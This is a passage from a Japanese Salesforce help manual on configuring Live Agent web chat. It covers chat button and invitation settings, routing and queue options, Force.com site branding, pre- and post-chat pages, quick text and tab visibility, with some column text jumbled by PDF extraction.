ます。デフォルト値は 40 秒です。[カスタムタイムア
ウトを有効化] が選択されている場合に表示されま
す。

顧客がアイドル状態または切断済みになってから
チャットが終了するまでの期間を秒数で示します。デ

アイドル接続タイムアウト期間

フォルト値は 110 秒です。[カスタムタイムアウトを有
効化] が選択されている場合に表示されます。

チャットウィンドウのブランド
必要に応じて、カスタム画像でチャットウィンドウをカスタマイズできます。これを行うには、リリースを
Force.com サイトとその静的リソースに関連付けます。

実行する内容設定

リリースに関連付ける Force.com サイトを決定します。
リリースを Force.com サイトに関連付けると、ブラン
ド画像でリリースをカスタマイズできます。Force.com

ブランド画像サイト

サイトでブランド画像を静的リソースとして保存しま
す。

顧客のチャットウィンドウに表示されるカスタムグラ
フィックを設定します。

[チャット] ウィンドウのブランド画像
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実行する内容設定

顧客がモバイルサイトからチャットにアクセスすると
きに顧客のチャットウィンドウに表示されるカスタム
グラフィックを設定します。

[モバイルチャット] ウィンドウのブランド画像

許可されているドメインと Live Agent リリース
セキュリティを強化して、不適切なチャット要求を受け取る数を最小限に抑えるために、Live Agentリリースを
作成するときは許可されたドメインオプションを使用します。許可されているドメインを使用するうえで、い
くつかの考慮事項があります。
• 必要なドメインはいくつでもリストできますが、1 行に 1 つずつリストします。
• ドメインとサブドメインのみを使用します。たとえば、xyz.domain.com、domain.com、または www.domain.com

などです。http:// または対応付けをドメイン内の特定のページ (domain.com/page など) に含めないようにしま
す。

• リリースをホストできるようにするすべてのドメインを指定します。
• リリースをすべてのドメインで使用可能にするには、[許可されているドメイン] 項目を空のままにしてお

きます。

3024

Web チャットチャネルの作成カスタマーサポートツールの設定および管理



[チャット] ボタンの作成

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

[チャット] ボタンを作成
し、カスタマイズする
• 「アプリケーションの

カスタマイズ」

チャットボタンを作成すると、顧客が Web サイトから直接エージェントとの
チャットを要求できます。
[チャット] ボタンを作成するには、次を行う必要があります。
• スキルを作成する。各チャットボタンは特定のスキルまたはスキルセットに

関連付けられ、このボタンから開始したチャットが適切なエージェントに転
送されます。

• ボタンのオンラインバージョンおよびオフラインバージョンのカスタム画像
を使用するために、Force.com サイトと静的リソースを作成する。Force.com サ
イトがない場合は、ボタンを作成するときに生成されるコードを変更するこ
とで、オンラインおよびオフラインボタンの画像またはテキストを指定でき
ます。

訪問者がクリックしてチャットを開始するためのボタンを作成する必要があり
ます。リリースと同様に、ボタンは複数行の JavaScript で構成されており、コピー
して Web ページに貼り付けます。1 つのリリースに複数のボタンを含めることが
できます。各ボタンを使用すると訪問者のチャットの操作性を詳細に設定する
ことができます。たとえば、サービスリリースに PC、ラップトップ、またはタ
ブレットの問題に対応するボタンを設定できます。各ボタンはスキルまたはス
キルセットに対応付けされ、訪問者の問い合わせが必ず問題を解決できるエー
ジェントにのみ転送されるようにします。
1. [設定] から、[クイック検索] ボックスに「[チャット] ボタン」と入力し、

[[チャット] ボタンと招待] を選択します。
2. [新規] をクリックします。
3. [種別] 項目から [[チャット] ボタン] を選択します。
4. チャットボタンの残りの設定を選択します。
5. [保存] をクリックします
6. ボタンのコードをコピーして、Live Agent をリリースする各 Web ページに貼り付けます。必ず、ボタンを表

示する必要のあるページの領域にコードを貼り付けてください。

ヒント: 変更を行うたびにコードが変わるので、ボタンを更新するたびにコードをコピーして貼り付
けてください。
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チャットボタンの設定

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

チャットボタンの設定により、顧客がエージェントとやりとりするために使用
するチャットボタンの動作を制御します。
Live Agent チャットボタンを作成または編集するときに設定を適用します。

基本情報
特定の Live Agent チャットボタンで使用できる基本機能を設定します。

実行する内容設定

作成するボタンの種類を選択します。種別

警告:  Web サイトでホストする
チャットボタンを作成する場合、
このオプションを [[チャット] ボ
タン] に設定する必要がありま
す。

チャットボタンの名前。
このボタンの名前、つまりバージョン
は自動的に [API 参照名] になりま
す。

名前

チャットボタンの API 名を設定します。API 参照名

チャットウィンドウのテキストのデ
フォルト言語を設定します。

言語

顧客が指定した時間内に応答しない場
合にチャットを終了するかどうかを示
します。

顧客のタイムアウトを有効化

顧客がエージェントのメッセージに応
答しない場合にセッションが終了する

顧客のタイムアウト (秒)

までの時間を設定します。タイマー
は、顧客がメッセージを送信すると停
止します。タイマーは、エージェント
がメッセージを送信するたびに 0 にリ
セットされます。

顧客がエージェントのメッセージに応
答しない場合に警告が表示され、タイ

顧客のタイムアウト警告 (秒)

マーがカウントダウンし始めるまでの
時間を設定します。警告は、顧客が
メッセージを送信するたびに非表示に
なります (タイマーは停止します)。警
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実行する内容設定

告は、顧客がメッセージを送信するたびに非表示にな
ります (タイマーは 0 にリセットされます)。警告の値
は、タイムアウトの値より小さくする必要があります
(最低 30 秒を推奨)。

顧客のチャットウィンドウに表示されるエージェント
名を設定します。

カスタムエージェント名

エージェントが顧客のチャット要求を受け入れたとき
に顧客に自動的に送信されるカスタム挨拶メッセージ
を設定します。
必要に応じて、[差し込み項目ルックアップ] ツールを
使用して、差し込み項目で挨拶の情報をカスタマイズ

自動挨拶

します。たとえば、差し込み項目を使用して、挨拶に
顧客の名前を含めることで、チャットのやりとりを
パーソナライズできます。

メモ: Live Agent 設定と個々のチャットボタンの
両方で自動挨拶メッセージを指定している場合、
チャットボタンに関連付けられたメッセージの
方が、設定に関連付けられたメッセージよりも
優先されます。

転送情報
このボタンまたは招待によって、チャットを最適なエージェントに転送する方法を設定します。

実行する内容設定

チャットがエージェントに転送される方法を設定しま
す。

ルーティング種別

スキルをボタンに関連付けます。ボタンからの受信
チャット要求は、指定したスキルを持つエージェント
に転送されます。

スキル

別のエージェントに転送するまでに、エージェントが
チャット要求への回答に費やすことのできる時間を設
定します。

転送タイムアウト (秒)

キューが有効になっていることを示します。キューが
有効になっていると、適切なスキルを持つエージェン

キューを有効化

トがチャットを受け入れることができるようになるま
で受信チャット要求がキュー内で待機できます。
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実行する内容設定

対応可能なエージェントあたりのチャット要求を保持
できるキューの容量を決定します。Live Agent 転送の

エージェントごとのキューのサイズ

場合またはチャットがサイズ 1 の場合、各エージェン
トのキューが保持できるチャット数は 1 となります。

チャット要求を保持できるキューの容量を決定しま
す。Live Agent 転送の場合またはチャットがサイズ 1 の

キュー全体のサイズ

場合、キューが保持できる最大チャット数は 1 となり
ます。

すべての対応可能なエージェントから拒否された
チャット要求を再転送し、対応可能なすべてのエー

拒否された要求を再転送

ジェントに送信します。ルーティング種別が [対応中
件数が最小] および [対応余力が最大] の要求でのみ使
用できます。

このボタンからのチャット要求が対応可能な最初の
エージェントによって自動的に受け入れられるように
します。

自動的にチャットを引き受ける

チャットボタンのカスタマイズ
必要に応じて、カスタム画像でチャットボタンをカスタマイズできます。これを行うには、リリースを Force.com

サイトとその静的リソースに関連付けます。

実行する内容設定

チャットボタンに関連付ける Force.com サイトを決定
します。ボタンを Force.com サイトに関連付けると、

リソースのサイト

ブランド画像でボタンをカスタマイズできます。
Force.com サイトでブランド画像を静的リソースとして
保存します。

チャットボタンを使用できないときに表示されるカス
タムボタンのグラフィックを設定します。

オンライン画像

顧客がチャットボタンを使用して新しいチャットを要
求できるときに表示されるカスタムボタンのグラ
フィックを設定します。

オフライン画像

開発したカスタムチャットウィンドウページで標準の
Live Agent チャットウィンドウを置き換えます。この

カスタムチャットページ

オプションは、Live Agent で提供されるデフォルトの
チャットウィンドウ以外のチャットウィンドウを使用
する場合にのみ使用します。
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実行する内容設定

エージェントとのチャットを開始する前に顧客に表示
されるカスタム事前チャットフォームをホストする
Force.com ページに Live Agent を転送します。

事前チャットフォームページ

事前チャットフォームをホストする Web ページの URL

に Live Agent を転送します。
事前チャットフォーム URL

チャットの完了後に顧客に表示されるカスタム事後
チャットページに Live Agent を転送します。

チャット後ページ

事後チャットページをホストする Web ページの URL に
Live Agent を転送します。

チャット後ページ URL

チャットの転送オプション

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

Live Agent の転送オプションでは、受信チャット要求をエージェントに転送する
方法を指定できます。

説明転送オプション

受信チャット要求は、Salesforce コン
ソールの Live Agent のキューに追加さ
れ、必要なスキルを持つエージェント
すべてがアクセスできます。

選択肢

受信チャットは、必要なスキルを持
ち、アクティブなチャット数が最も少
ないエージェントに転送されます。
このオプションは、受信チャットが
エージェントに転送されることを示す
転送オプションです。次に対応可能で
適格なエージェントに転送するまで
に、エージェントがチャット要求への
回答に費やすことのできる時間を指定
できます。

対応中件数が最小

受信チャットは、必要なスキルを持
ち、参加可能なチャット数とアクティ

対応余力が最大

ブなチャットセッション数の差が最も
大きいエージェントに転送されます。
たとえば、エージェント A と B のどち
らも可能チャット数が 5 で、エージェ
ント A はアクティブなチャットセッ
ションが 3 つ、エージェント B はアク
ティブなセッションが 1 つのみの場
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説明転送オプション

合、受信チャットはエージェント B に転送されます。
このオプションは、受信チャットがエージェントに転
送されることを示す転送オプションです。次に対応可
能で適格なエージェントに転送するまでに、エージェ
ントがチャット要求への回答に費やすことのできる時
間を指定できます。

受信チャットはオムニチャネルキューを使用してエー
ジェントに転送されます。

オムニ

チャットのキューオプション

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

Live Agent のキューオプションでは、対応できるエージェントがいないときに受
信チャット要求を処理する方法を制御できます。
作成した Live Agent チャットボタンまたは招待ごとに、キューを有効にし、必要
なスキルを持ったエージェントが要求を受け入れられない場合に、受信チャッ
ト要求を保留にすることができます。キューに入れる要求の最大数も指定でき
ます。キューを有効にし、制限を設定すると、受信チャット要求の処理方法を
制御でき、エージェントがチャットのバックログを管理しやすくなります。
キューを有効にすると、会社は、エージェントの対応能力が限界に達したとき
でも受信チャット要求を受け付けることができ、受け入れる要求の最大数を指
定できます。これにより、エージェントは効率よく作業でき、顧客のチャット
待ち時間も制限できます。
チャットキューがどのように機能するかは、チャット転送オプションによって
決まります。転送オプションは、チャットボタンまたは自動招待で設定します。
適切なエージェントにチャットを転送する方法についての詳細は、「チャット
の転送オプション」を参照してください。
キューオプションと転送オプションが連動する方法について説明します。

結果併用する転送オプションキューオプション

選択肢キューが有効ではない • 必要なスキルを持つ
エージェントが対応で
きない場合やすべての
オンラインエージェン
トの対応能力が限界に
達している場合を除
き、ユーザにはオンラ
インバージョンの
チャットボタンが表示
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結果併用する転送オプションキューオプション

され、新しい要求を送信できま
す。

• 受信チャット要求は、Live Agent

ウィジェットに追加されます。
• エージェントが新しいチャット

セッションに対応できるように
なると、リストから受信要求を
選択できます。

[最も利用されていない]または [最
も利用されている]

キューが有効ではない • 必要なスキルを持つエージェン
トが対応できない場合やすべて
のオンラインエージェントの対
応能力が限界に達している場合
を除き、ユーザにはオンライン
バージョンのチャットボタンが
表示され、新しい要求を送信で
きます。

• エージェントが新しいチャット
セッションに対応できるように
なると、要求がエージェントに
転送されます。

選択肢キューが有効で、エージェント単
位または全体の上限が設定されて
いない

• ユーザにはオンラインバージョ
ンのチャットボタンが表示さ
れ、必要なスキルを持つエー
ジェントが対応できない場合で
も、新しい要求を送信できま
す。

• 受信チャット要求は、チャット
要求リストに追加されます。

• エージェントが新しいチャット
セッションに対応できるように
なると、リストから受信要求を
受け入れることができます。

[最も利用されていない]または [最
も利用されている]

キューが有効で、エージェント単
位または全体の上限が設定されて
いない

• ユーザにはオンラインバージョ
ンのチャットボタンが表示さ
れ、必要なスキルを持つエー
ジェントが対応できない場合で
も、新しい要求を送信できま
す。
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結果併用する転送オプションキューオプション

• エージェントが新しいチャット
セッションに対応できるように
なると、要求がエージェントに
転送されます。

選択肢キューが有効で、エージェント単
位または全体の上限が設定されて
いる

• ユーザにはオンラインバージョ
ンのチャットボタンが表示さ
れ、必要なスキルを持つエー
ジェントが対応できない場合を
除き、キューの上限に達するま
で新しい要求を送信できます。
新しい要求を送信できない場合
は、古いチャットセッションが
終了するまでユーザにはオフラ
インバージョンのボタンが表示
されます。

• 受信チャット要求はエージェン
ト単位または全体の上限に達す
るまでキューに追加されます。
上限に達すると、古いチャット
セッションが終了するまで新し
い要求は受け入れません。

• エージェントが新しいチャット
セッションに対応できるように
なると、リストから受信要求を
受け入れることができます。

[最も利用されていない]または [最
も利用されている]

キューが有効で、エージェント単
位または全体の上限が設定されて
いる

• ユーザにはオンラインバージョ
ンのチャットボタンが表示さ
れ、必要なスキルを持つエー
ジェントが対応できない場合を
除き、キューの上限に達するま
で新しい要求を送信できます。
新しい要求を送信できない場合
は、古いチャットセッションが
終了してエージェントが対応可
能になるまで、ユーザにはオフ
ラインバージョンのボタンが表
示されます。

• 受信チャット要求はエージェン
ト単位または全体の上限に達す
るまでキューに追加されます。

3032

Web チャットチャネルの作成カスタマーサポートツールの設定および管理



結果併用する転送オプションキューオプション

上限に達すると、古いチャット
セッションが終了するまで新し
い要求は受け入れません。

• エージェントが新しいチャット
セッションに対応できるように
なると、要求がエージェントに
転送されます。

Force.com サイトによる Live Agent ブランドのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Force.com サイトの作成と
編集を行う
• 「アプリケーションの

カスタマイズ」

ブランド画像で Live Agent 実装をカスタマイズするには、Force.com サイトを使用
してチャットウィンドウおよびチャットボタンの画像をアップロードします。
チャットウィンドウおよびチャットボタンをカスタマイズするには、1 つ以上の
Force.com サイトを作成し、静的リソースとして使用する画像をアップロードし
ます。静的リソースにより、Visualforce ページで参照できるコンテンツをアップ
ロードできます。各静的リソースには、チャットウィンドウのロード時に Salesforce

が画像にアクセスするために使用する固有の URL があります。
1. 画像をホストする Force.com サイトを作成します。

Live Agentリリースの Force.com サイトを作成する場合、次の情報のみを入力す
る必要があります。
• サイトの表示ラベルとサイト名
• サイトの管理者
• 有効なサイトのホームページ
• サイトテンプレート

2. ブランド画像を静的リソースとしてアップロードします。

メモ: 標準チャットウィンドウ画像の最大サイズは 50 ピクセルです。
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Live Agent 実装のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Live Agent を設定する
• 「アプリケーションの

カスタマイズ」

ユーザプロファイルまた
は権限セットを作成する
• 「プロファイルと権限

セットの管理」

基本的な Live Agent 実装を設定したら、エージェント、スーパーバイザ、および
顧客に適したソリューションでカスタマイズします。Live Agent には、実装を宣
言的にカスタマイズするいくつかのオプションが用意されています。つまり、
コーディングは必要ありません。

Live Agent オブジェクトの作成
Live Agent実装を稼働させるための最初のステップは、Salesforceで必要なオブ
ジェクトを作成することです。
Live Agent ユーザへの表示の設定
プロファイルと権限セットを使用して、Live Agent ユーザへの [スーパーバイ
ザ] タブと Live Agent セッションの表示方法を選択します。
Live Agent ユーザのプライバシーオプションの設定
機密データや望ましくない訪問者をブロックすることによって、エージェン
トやエージェントがサポートする顧客を保護します。
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Live Agent オブジェクトの作成

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

Live Agent実装を稼働させるための最初のステップは、Salesforceで必要なオブジェ
クトを作成することです。

自動チャット招待の作成
アニメーションを使用したポップアップとして Web サイトに表示され、エー
ジェントとのチャットに顧客を招待する自動チャット招待を設定します。
事前チャットフォームと事後チャットページ
Live Agentの事前チャットフォームと事後チャットページを使用すると、会社
にチャットで問い合わせてくる顧客との情報交換が可能になります。
クイックテキストメッセージの作成
クイックテキストメッセージを使用すると、エージェントは標準化されたメ
モをケースの更新に含め、共通の応答を顧客に送信することができます。毎
回入力する必要はありません。エージェントのカスタムメッセージを作成
し、エージェントが顧客にメールを送信したりチャットしたりするときに使
用します。

自動チャット招待の作成

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

自動チャット招待を作成
し、カスタマイズする
• 「アプリケーションの

カスタマイズ」

アニメーションを使用したポップアップとして Web サイトに表示され、エージェ
ントとのチャットに顧客を招待する自動チャット招待を設定します。
自動招待を作成するには、次を行う必要があります。
• スキルを作成する。各チャットボタンは特定のスキルまたはスキルセットに

関連付けられ、このボタンから開始したチャットが適切なエージェントに転
送されます。

• ボタンのオンラインバージョンおよびオフラインバージョンのカスタム画像
を使用するために、Force.com サイトと静的リソースを作成する。Force.com サ
イトがない場合は、ボタンを作成するときに生成されるコードを変更するこ
とで、オンラインおよびオフラインボタンの画像またはテキストを指定でき
ます。

自動招待は、顧客が一定時間以上 Web ページにアクセスしているかどうかなど、
指定の条件に基づいてトリガされるように設定できます。顧客がチャットへの
招待を受諾したときに適切なエージェントに転送されるように、招待を特定の
スキルに関連付けることができます。
1. [設定] から、[クイック検索] ボックスに「[チャット] ボタンと招待」と入力

し、[[チャット] ボタンと招待] を選択します。
2. [新規] をクリックします。
3. [種類] で、[自動招待] を選択します。
4. [保存] をクリックします
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5. 招待のコードをコピーして、Live Agent をリリースする各 Web ページに貼り付けます。必ず、招待を表示す
る必要のあるページの領域にコードを貼り付けてください。

ヒント: 変更を行うたびにコードが変わるので、招待を更新するたびにコードをコピーして貼り付け
てください。

自動招待の設定
自動招待の設定により、顧客が Web サイトにアクセスしているときに顧客に送信され、エージェントと
チャットするように求める招待の動作を制御します。

自動招待の設定

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

自動招待の設定により、顧客が Web サイトにアクセスしているときに顧客に送
信され、エージェントとチャットするように求める招待の動作を制御します。
Live Agent 自動招待を作成または編集するときに設定を適用します。

基本情報
特定の Live Agent チャットボタンで使用できる基本機能を設定します。

実行する内容設定

チャットボタンと自動招待のどちらを
作成するかを決定します。

種別

警告: 自動チャット招待を作成す
る場合、このオプションを [自動
招待] に設定する必要がありま
す。

自動招待が「有効」になっているの
か、つまり、自動的に顧客に送信でき
るのかを決定します。

有効

招待に名前を付けます。
この招待の名前、つまりバージョンは
自動的に [API 参照名] になります。

名前

招待の API 名を設定します。API 参照名

この招待が表示されるリリースを選択
できます。

リリース

チャットウィンドウのテキストのデ
フォルト言語を設定します。

言語
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実行する内容設定

顧客が指定した時間内に応答しない場合にチャットを
終了するかどうかを示します。

顧客のタイムアウトを有効化

顧客がエージェントのメッセージに応答しない場合に
セッションが終了するまでの時間を設定します。タイ

顧客のタイムアウト (秒)

マーは、顧客がメッセージを送信すると停止します。
タイマーは、エージェントがメッセージを送信するた
びに 0 にリセットされます。

顧客がエージェントのメッセージに応答しない場合に
警告が表示され、タイマーがカウントダウンし始める

顧客のタイムアウト警告 (秒)

までの時間を設定します。警告は、顧客がメッセージ
を送信するたびに非表示になります (タイマーは停止
します)。警告は、顧客がメッセージを送信するたび
に非表示になります (タイマーは 0 にリセットされま
す)。警告の値は、タイムアウトの値より小さくする
必要があります (最低 30 秒を推奨)。

顧客のチャットウィンドウに表示されるエージェント
名を設定します。

カスタムエージェント名

エージェントが招待からの顧客のチャット要求を受け
入れたときに顧客に自動的に送信されるカスタム挨拶
メッセージを設定します。
必要に応じて、[差し込み項目ルックアップ] ツールを
使用して、差し込み項目で挨拶の情報をカスタマイズ

自動挨拶

します。たとえば、差し込み項目を使用して、挨拶に
顧客の名前を含めることで、チャットのやりとりを
パーソナライズできます。

メモ: Live Agent 設定と招待で自動挨拶メッセー
ジを指定している場合、招待に関連付けられた
メッセージの方が、設定に関連付けられたメッ
セージよりも優先されます。

転送情報
この招待によって、チャットを最適なエージェントに転送する方法を指定します。

実行する内容設定

招待からの受信チャット要求を適切なスキルを持つ
エージェントに転送する方法を決定します。

ルーティング種別
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実行する内容設定

スキルを招待に関連付けます。招待からの受信チャッ
ト要求は、指定したすべてのスキルを持つエージェン
トに転送されます。

スキル

この招待のキューを選択します。キュー

キューが有効になっていて、適切なスキルを持つエー
ジェントがチャットを受け入れることができるように

キューを有効化

なるまで受信チャット要求がキュー内で待機できるこ
とを示します。

対応可能なエージェントあたりのチャット要求を保持
できるキューの容量を決定します。Live Agent 転送の

エージェントごとのキューのサイズ

場合またはチャットがサイズ 1 の場合、各エージェン
トのキューが保持できるチャット数は 1 となります。

チャット要求を保持できるキューの容量を決定しま
す。Live Agent 転送の場合またはチャットがサイズ 1 の

キュー全体のサイズ

場合、キューが保持できる最大チャット数は 1 となり
ます。

招待のアニメーション
招待のアニメーションをカスタマイズして、顧客にどのようにアニメーションが表示されるのかを決定しま
す。

実行する内容設定

招待が顧客に表示されてから消えるまでの時間を決定
します。

表示時間

顧客が前の招待を受諾した後に、顧客に招待を再度送
信できるかどうかを示します。

承諾後に招待の再トリガを許可

顧客が前の招待を辞退した後に、顧客に招待を再度送
信できるかどうかを示します。

辞退後に招待の再トリガを許可

招待のアニメーションの種別を決定します。選択した
アニメーションによっては、顧客の画面のどの位置に
招待を表示するのかを選択するように求められます。

アニメーション

メモ: アニメーションは、Internet Explorer バージョ
ン 9 以前を使用するエージェントには表示され
ません。
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招待のカスタマイズ
必要に応じて、カスタム画像で招待をカスタマイズできます。これを行うには、リリースを Force.com サイト
とその静的リソースに関連付けます。

実行する内容設定

招待に関連付ける Force.com サイトを決定します。招
待を Force.com サイトに関連付けると、ブランド画像

リソースのサイト

で招待をカスタマイズできます。Force.com サイトでブ
ランド画像を静的リソースとして保存します。

この招待用に表示されるカスタムボタンのグラフィッ
クを設定します。

招待画像

開発したカスタムチャットウィンドウページで標準の
Live Agent チャットウィンドウを置き換えます。この

カスタムチャットページ

オプションは、Live Agent で提供されるデフォルトの
チャットウィンドウ以外のチャットウィンドウを使用
する場合にのみ使用します。

エージェントとのチャットを開始する前に顧客に表示
されるカスタム事前チャットフォームをホストする
Force.com ページに Live Agent を転送します。

事前チャットフォームページ

事前チャットフォームをホストする Web ページの URL

に Live Agent を転送します。
事前チャットフォーム URL

チャットの完了後に顧客に表示されるカスタム事後
チャットページに Live Agent を転送します。

チャット後ページ

事後チャットページをホストする Web ページの URL に
Live Agent を転送します。

チャット後ページ URL

送信ルール
招待の送信ルールを作成して、招待をトリガするタイミングと招待を顧客に送信するタイミングを決定しま
す。送信ルールには複数の条件を含めることができます。また、送信ルールでより複雑なロジックが必要な場
合、Boolean 演算子を送信ルールに適用できます。

実行する内容設定

送信ルールで評価される条件を設定します。たとえ
ば、顧客が Web ページを表示していた秒数に基づい
て招待を送信するルールを作成できます。

条件

条件を評価する演算子を設定します。たとえば、顧客
が指定の秒数よりも長くページにアクセスしていた場
合に招待を送信するルールを作成できます。

演算子
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実行する内容設定

数式を評価する値を設定します。たとえば、顧客が
30 秒数よりも長くページにアクセスしていた場合に
招待を送信するルールを作成できます。

値

事前チャットフォームと事後チャットページ

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

Live Agent の事前チャットフォームと事後チャットページを使用すると、会社に
チャットで問い合わせてくる顧客との情報交換が可能になります。
事前チャットフォームと事後チャットページを使用すると、標準化された方法
で、会社にチャットで問い合わせてくる顧客から情報を収集できます。また、
チャットセッションの終了後に顧客と情報を共有することもできます。さらに、
これらのフォームとページを使用して、チャットの操作性をユーザ向けにカス
タマイズできます。
事前チャットフォームを使用すると、顧客がエージェントとのチャットを要求
した後に、名前や問題の説明などの情報を顧客から収集できます。この情報は、
チャット要求の転送を効率化し、エージェントがチャットセッションを開始す
る前に情報収集にかかる時間を短縮するのに役立ちます。また、この情報を使
用して、顧客の名前をチャットウィンドウに含めるなど、顧客がエージェント
とチャットするときに顧客に表示する情報をカスタマイズできます。
事後チャットページを使用すると、チャットセッション後に情報を顧客と共有
できます。たとえば、エージェントとのチャットの完了後に顧客を別の Web ペー
ジに移動して、チャットの対応に関する調査を行うことができます。
Live Agentの API を使用して、事前チャットフォームと事後チャットページをプロ
グラムで作成する必要があります。カスタマイズされた事前チャットフォーム
と事後チャットページの作成についての詳細は、『Live Agent開発者ガイド』 (英語のみ) を参照してください。
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クイックテキストメッセージの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

クイックテキストメッ
セージを作成する
• クイックテキストに対

する「作成」、「参
照」、「編集」、およ
び「削除」

クイックテキストメッセージを使用すると、エージェントは標準化されたメモ
をケースの更新に含め、共通の応答を顧客に送信することができます。毎回入
力する必要はありません。エージェントのカスタムメッセージを作成し、エー
ジェントが顧客にメールを送信したりチャットしたりするときに使用します。
1. [クイックテキスト] タブをクリックします。
2. [新規] をクリックします。
3. 複数のクイックテキストのレコードタイプがある場合は、新規メッセージの

レコードタイプを選択して、[次へ] をクリックします。
4. メッセージ名を入力します。
5. メッセージを入力します。

改行、リスト、特殊文字を含めることが可能で、4,096 文字まで入力できま
す。

6. [差し込み項目ルックアップ] をクリックして、差し込み項目セレクタを表示
します。

7. メッセージを使用可能にするチャネルを選択します。
組織で有効な機能に応じて、次のチャネルを利用できます。
• メール  — ケースフィードのメールアクション
• Live Agent  — Salesforce コンソールの Live Agent

• ポータル  — コミュニティまたはカスタマーポータル
• 電話  — ケースフィードの活動の記録アクション
• 社内  — ケースフィードの状況の変更アクション

8. カテゴリを選択します。
9. 必要に応じて、サブカテゴリを選択します。
10. [保存] をクリックします。

ヒント: 選択したレコードのデータが入力されたクイックテキストのサンプルを表示するには、[差し
込み項目のテストと検証] をクリックします。

関連トピック:

クイックテキストの設定
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Live Agent ユーザへの表示の設定

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

プロファイルと権限セットを使用して、Live Agent ユーザへの [スーパーバイザ]

タブと Live Agent セッションの表示方法を選択します。

プロファイルを使用した [スーパーバイザ] タブの表示の設定
Live Agent スーパーバイザパネルは、組織のチャットボタンとチャットエー
ジェントに関する情報をスーパーバイザが一元的に検索できる場所です。
[Live Agent スーパーバイザ] タブを、指定したプロファイルに割り当てられた
ユーザに表示します。
権限セットを使用した [Live Agent セッション] タブの表示の設定
セッションレコードには、処理されたチャット要求数、エージェントがオン
ラインであった時間、エージェントが顧客とのチャットに参加した時間な
ど、エージェントと顧客のオンラインでのやりとりに関する情報が保存され
ます。[Live Agent セッション] タブを、指定した権限セットに割り当てられた
ユーザに表示します。
プロファイルを使用した [Live Agent セッション] タブの表示の設定
セッションレコードには、処理されたチャット要求数、エージェントがオン
ラインであった時間、エージェントが顧客とのチャットに参加した時間な
ど、エージェントと顧客のオンラインでのやりとりに関する情報が保存され
ます。[Live Agent セッション] タブを、指定したプロファイルに割り当てられたユーザに表示します。
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プロファイルを使用した [スーパーバイザ] タブの表示の設定

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Live Agent 機能のタブ表示
を設定する
• 「プロファイルと権限

セットの管理」

Live Agent スーパーバイザパネルは、組織のチャットボタンとチャットエージェ
ントに関する情報をスーパーバイザが一元的に検索できる場所です。[Live Agent

スーパーバイザ] タブを、指定したプロファイルに割り当てられたユーザに表示
します。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. スーパーバイザタブへのアクセス権を付与するプロファイルの横にある [編

集] をクリックします。
